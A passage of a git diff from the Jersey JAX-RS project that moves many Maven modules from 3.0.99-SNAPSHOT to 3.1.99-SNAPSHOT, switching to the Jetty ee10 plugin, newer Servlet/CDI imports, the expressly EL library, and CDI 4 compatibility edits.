+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>rx-client-webapp</artifactId>
@@ -66,8 +66,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml
index 633a692..952fba0 100644
--- a/examples/server-async-managed/pom.xml
+++ b/examples/server-async-managed/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-async-managed</artifactId>
diff --git a/examples/server-async-standalone/client/pom.xml b/examples/server-async-standalone/client/pom.xml
index 7978e51..1bd05c8 100644
--- a/examples/server-async-standalone/client/pom.xml
+++ b/examples/server-async-standalone/client/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>server-async-standalone</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-async-standalone-client</artifactId>
diff --git a/examples/server-async-standalone/pom.xml b/examples/server-async-standalone/pom.xml
index 8f8a4e8..078dd8a 100644
--- a/examples/server-async-standalone/pom.xml
+++ b/examples/server-async-standalone/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-async-standalone</artifactId>
diff --git a/examples/server-async-standalone/webapp/pom.xml b/examples/server-async-standalone/webapp/pom.xml
index 7e0e602..47c204d 100644
--- a/examples/server-async-standalone/webapp/pom.xml
+++ b/examples/server-async-standalone/webapp/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>server-async-standalone</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-async-standalone-webapp</artifactId>
diff --git a/examples/server-async/pom.xml b/examples/server-async/pom.xml
index b7e53e4..0bc3926 100644
--- a/examples/server-async/pom.xml
+++ b/examples/server-async/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-async</artifactId>
diff --git a/examples/server-sent-events-jaxrs/pom.xml b/examples/server-sent-events-jaxrs/pom.xml
index 1308d80..5b8688a 100644
--- a/examples/server-sent-events-jaxrs/pom.xml
+++ b/examples/server-sent-events-jaxrs/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-sent-events-jaxrs</artifactId>
diff --git a/examples/server-sent-events-jersey/pom.xml b/examples/server-sent-events-jersey/pom.xml
index 5f82dca..f980390 100644
--- a/examples/server-sent-events-jersey/pom.xml
+++ b/examples/server-sent-events-jersey/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>server-sent-events-jersey</artifactId>
diff --git a/examples/servlet3-webapp/pom.xml b/examples/servlet3-webapp/pom.xml
index 3c6bd33..1a6968d 100644
--- a/examples/servlet3-webapp/pom.xml
+++ b/examples/servlet3-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet3-webapp</artifactId>
@@ -37,7 +37,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -62,8 +61,8 @@
<!-- <artifactId>maven-failsafe-plugin</artifactId>-->
<!-- </plugin>-->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<!-- <skip>${skip.tests}</skip>-->
<!-- <stopWait>10</stopWait>-->
diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml
index b1e17d4..7e4a23a 100644
--- a/examples/simple-console/pom.xml
+++ b/examples/simple-console/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>simple-console</artifactId>
diff --git a/examples/sse-item-store-jaxrs-webapp/pom.xml b/examples/sse-item-store-jaxrs-webapp/pom.xml
index 58c0837..06b292b 100644
--- a/examples/sse-item-store-jaxrs-webapp/pom.xml
+++ b/examples/sse-item-store-jaxrs-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>sse-item-store-jaxrs-webapp</artifactId>
@@ -56,9 +56,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <!-- TODO unify Jetty in all examples -->
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<stopWait>10</stopWait>
<stopPort>9999</stopPort>
diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml
index 2bac026..34446b1 100644
--- a/examples/sse-item-store-jersey-webapp/pom.xml
+++ b/examples/sse-item-store-jersey-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>sse-item-store-jersey-webapp</artifactId>
@@ -56,9 +56,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <!-- TODO unify Jetty in all examples -->
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<stopWait>10</stopWait>
<stopPort>9999</stopPort>
diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml
index 601d9d2..24bd470 100644
--- a/examples/sse-twitter-aggregator/pom.xml
+++ b/examples/sse-twitter-aggregator/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>sse-twitter-aggregator</artifactId>
diff --git a/examples/system-properties-example/pom.xml b/examples/system-properties-example/pom.xml
index aa3d103..f46daf3 100644
--- a/examples/system-properties-example/pom.xml
+++ b/examples/system-properties-example/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>system-properties-example</artifactId>
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml
index ebcde20..25c8282 100644
--- a/examples/webapp-example-parent/pom.xml
+++ b/examples/webapp-example-parent/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>webapp-example-parent</artifactId>
diff --git a/examples/xml-moxy/pom.xml b/examples/xml-moxy/pom.xml
index 2a27259..1beb712 100644
--- a/examples/xml-moxy/pom.xml
+++ b/examples/xml-moxy/pom.xml
@@ -16,7 +16,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>xml-moxy</artifactId>
diff --git a/ext/bean-validation/pom.xml b/ext/bean-validation/pom.xml
index 743a933..ae8f5d8 100644
--- a/ext/bean-validation/pom.xml
+++ b/ext/bean-validation/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-bean-validation</artifactId>
@@ -59,6 +59,7 @@
${jakarta.annotation.osgi.version},
${cdi.osgi.version},
jakarta.validation.*;resolution:=optional;version="${range;[==,4);${jakarta.validation.api.version}}",
+ jakarta.decorator.*;version="[3.0,5)",
*
</Import-Package>
</instructions>
@@ -134,10 +135,9 @@
<groupId>jakarta.el</groupId>
<artifactId>jakarta.el-api</artifactId>
</dependency>
-
<dependency>
- <groupId>org.glassfish</groupId>
- <artifactId>jakarta.el</artifactId>
+ <groupId>org.glassfish.expressly</groupId>
+ <artifactId>expressly</artifactId>
</dependency>
<dependency>
@@ -147,17 +147,4 @@
<scope>test</scope>
</dependency>
</dependencies>
-
- <profiles>
- <profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <properties>
- <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
- </properties>
- </profile>
- </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
index 0e566a0..07e6ca5 100644
--- a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
+++ b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
@@ -31,7 +31,7 @@
## Third-party Content
-Hibernate Validator CDI, 7.0.5.Final
+Hibernate Validator CDI, 8.0.1.Final
* License: Apache License, 2.0
* Project: https://beanvalidation.org/
-* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
\ No newline at end of file
+* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/ext/cdi/jersey-cdi-rs-inject/pom.xml b/ext/cdi/jersey-cdi-rs-inject/pom.xml
index 7fbd6c3..27f41f3 100644
--- a/ext/cdi/jersey-cdi-rs-inject/pom.xml
+++ b/ext/cdi/jersey-cdi-rs-inject/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -48,7 +48,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
<optional>true</optional>
</dependency>
@@ -73,7 +73,7 @@
<instructions>
<Import-Package>
${cdi.osgi.version},
- jakarta.servlet.*;version="[5.0, 7.0)";resolution:=optional,
+ jakarta.servlet.*;version="[6.0, 7.0)";resolution:=optional,
*
</Import-Package>
</instructions>
diff --git a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
index 7e22ff6..f30ca0e 100644
--- a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
+++ b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi1x-ban-custom-hk2-binding</artifactId>
diff --git a/ext/cdi/jersey-cdi1x-servlet/pom.xml b/ext/cdi/jersey-cdi1x-servlet/pom.xml
index 0301b3b..bb954cb 100644
--- a/ext/cdi/jersey-cdi1x-servlet/pom.xml
+++ b/ext/cdi/jersey-cdi1x-servlet/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi1x-servlet</artifactId>
@@ -88,6 +88,7 @@
<Export-Package>org.glassfish.jersey.ext.cdi1x.servlet.internal</Export-Package>
<Import-Package>
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
*
</Import-Package>
</instructions>
diff --git a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
index 3a17677..ce367f5 100644
--- a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
+++ b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
@@ -124,7 +124,7 @@
return false;
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/ext/cdi/jersey-cdi1x-transaction/pom.xml b/ext/cdi/jersey-cdi1x-transaction/pom.xml
index fad4a61..29b8354 100644
--- a/ext/cdi/jersey-cdi1x-transaction/pom.xml
+++ b/ext/cdi/jersey-cdi1x-transaction/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi1x-transaction</artifactId>
@@ -37,7 +37,7 @@
<dependency>
<groupId>jakarta.platform</groupId>
<artifactId>jakarta.jakartaee-api</artifactId>
- <version>9.0.0</version>
+ <version>9.1.0</version>
<scope>provided</scope>
</dependency>
@@ -94,6 +94,7 @@
<Import-Package>
${jakarta.annotation.osgi.version},
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
*
</Import-Package>
</instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/pom.xml b/ext/cdi/jersey-cdi1x-validation/pom.xml
index 71f1bf3..60a4bde 100644
--- a/ext/cdi/jersey-cdi1x-validation/pom.xml
+++ b/ext/cdi/jersey-cdi1x-validation/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi1x-validation</artifactId>
@@ -106,6 +106,7 @@
<Import-Package>
${jakarta.annotation.osgi.version},
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
*
</Import-Package>
</instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
index 6cced30..875f63c 100644
--- a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
+++ b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
@@ -155,7 +155,7 @@
return false;
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/ext/cdi/jersey-cdi1x/pom.xml b/ext/cdi/jersey-cdi1x/pom.xml
index 7ef1fbf..f7e1be4 100644
--- a/ext/cdi/jersey-cdi1x/pom.xml
+++ b/ext/cdi/jersey-cdi1x/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi1x</artifactId>
@@ -94,6 +94,7 @@
${jakarta.annotation.osgi.version},
${hk2.osgi.version},
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
*
</Import-Package>
</instructions>
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
index e5fd3e8..e41d4c9 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -727,7 +727,7 @@
return Collections.emptySet();
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return true;
}
diff --git a/ext/cdi/jersey-weld2-se/pom.xml b/ext/cdi/jersey-weld2-se/pom.xml
index 9790e01..7d5e588 100644
--- a/ext/cdi/jersey-weld2-se/pom.xml
+++ b/ext/cdi/jersey-weld2-se/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-weld2-se</artifactId>
diff --git a/ext/cdi/pom.xml b/ext/cdi/pom.xml
index 0af9140..b0d5b7f 100644
--- a/ext/cdi/pom.xml
+++ b/ext/cdi/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
diff --git a/ext/entity-filtering/pom.xml b/ext/entity-filtering/pom.xml
index 0eae91b..4b6f170 100644
--- a/ext/entity-filtering/pom.xml
+++ b/ext/entity-filtering/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-entity-filtering</artifactId>
diff --git a/ext/metainf-services/pom.xml b/ext/metainf-services/pom.xml
index 411dbb3..00db216 100644
--- a/ext/metainf-services/pom.xml
+++ b/ext/metainf-services/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-metainf-services</artifactId>
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
index 3980e2e..443f8c3 100644
--- a/ext/micrometer/pom.xml
+++ b/ext/micrometer/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml
index bbe540d..d6b7dde 100644
--- a/ext/microprofile/mp-config/pom.xml
+++ b/ext/microprofile/mp-config/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -95,7 +95,7 @@
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -112,9 +112,9 @@
</build>
</profile>
<profile>
- <id>Jetty11</id>
+ <id>Jetty17</id>
<activation>
- <jdk>[11,)</jdk>
+ <jdk>[17,)</jdk>
</activation>
<dependencies>
<dependency>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml
index bd5463d..691b006 100644
--- a/ext/microprofile/mp-rest-client/pom.xml
+++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -119,7 +119,6 @@
<Import-Package>
${cdi.osgi.version},
jakarta.decorator.*;version="[3.0,5)",
- org.eclipse.microprofile.rest.client.*;version="[3.0,4)",
org.eclipse.microprofile.config.*;version="!",
*
</Import-Package>
@@ -130,4 +129,4 @@
</plugins>
</build>
-</project>
\ No newline at end of file
+</project>
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
index 48bc397..d583419 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -123,7 +123,7 @@
return Collections.emptySet();
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index bd69eaf..93aab3a 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/ext/mvc-bean-validation/pom.xml b/ext/mvc-bean-validation/pom.xml
index 852406b..4548534 100644
--- a/ext/mvc-bean-validation/pom.xml
+++ b/ext/mvc-bean-validation/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-mvc-bean-validation</artifactId>
diff --git a/ext/mvc-freemarker/pom.xml b/ext/mvc-freemarker/pom.xml
index 5bcdd4f..ea14580 100644
--- a/ext/mvc-freemarker/pom.xml
+++ b/ext/mvc-freemarker/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-mvc-freemarker</artifactId>
@@ -42,6 +42,7 @@
<extensions>true</extensions>
<configuration>
<instructions>
+ <Import-Package>jakarta.servlet.*;version="[5.0,7.0)",*</Import-Package>
<Export-Package>org.glassfish.jersey.server.mvc.freemarker.*;version=${project.version}</Export-Package>
</instructions>
<unpackBundle>true</unpackBundle>
@@ -56,11 +57,9 @@
</build>
<dependencies>
-
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml
index dceb4ef..8ce2d57 100644
--- a/ext/mvc-jsp/pom.xml
+++ b/ext/mvc-jsp/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-mvc-jsp</artifactId>
@@ -54,7 +54,7 @@
<instructions>
<Import-Package>
jakarta.servlet.jsp.*;version="[3.0,4.0)",
- jakarta.servlet.*;version="!",
+ jakarta.servlet.*;version="[5.0,7.0)",
*
</Import-Package>
<Export-Package>org.glassfish.jersey.server.mvc.jsp.*;version=${project.version}</Export-Package>
@@ -84,7 +84,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/ext/mvc-mustache/pom.xml b/ext/mvc-mustache/pom.xml
index e918d84..18057fc 100644
--- a/ext/mvc-mustache/pom.xml
+++ b/ext/mvc-mustache/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-mvc-mustache</artifactId>
diff --git a/ext/mvc/pom.xml b/ext/mvc/pom.xml
index 58927c3..f259eed 100644
--- a/ext/mvc/pom.xml
+++ b/ext/mvc/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-mvc</artifactId>
@@ -37,7 +37,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
@@ -67,7 +66,7 @@
<configuration>
<instructions>
<Export-Package>org.glassfish.jersey.server.mvc.*;version=${project.version}</Export-Package>
- <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+ <Import-Package> jakarta.servlet.*;version="[5.0,7.0)",${jakarta.annotation.osgi.version},*</Import-Package>
</instructions>
<unpackBundle>true</unpackBundle>
</configuration>
diff --git a/ext/pom.xml b/ext/pom.xml
index b9047ae..5257ff1 100644
--- a/ext/pom.xml
+++ b/ext/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.ext</groupId>
diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml
index 03b9119..61f5a72 100644
--- a/ext/proxy-client/pom.xml
+++ b/ext/proxy-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-proxy-client</artifactId>
diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
index 6bca315..aeffb03 100644
--- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
+++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,6 +35,7 @@
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
@@ -43,6 +44,7 @@
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
+import java.util.stream.Collectors;
/**
* Collector to retrieve parameters for setting up the HTTP request sent in the invoke method of WebResourceFactory
@@ -145,7 +147,7 @@
throws IllegalAccessException, IntrospectionException, InvocationTargetException {
Class<?> beanClass = beanParam.getClass();
List<Field> fields = new ArrayList<>();
- getAllFields(fields, beanClass);
+ getAllNonStaticFields(fields, beanClass);
for (final Field field : fields) {
Object value = null;
@@ -156,7 +158,7 @@
anns.put(ann.annotationType(), ann);
}
- if (hasAnyParamAnnotation(anns)) {
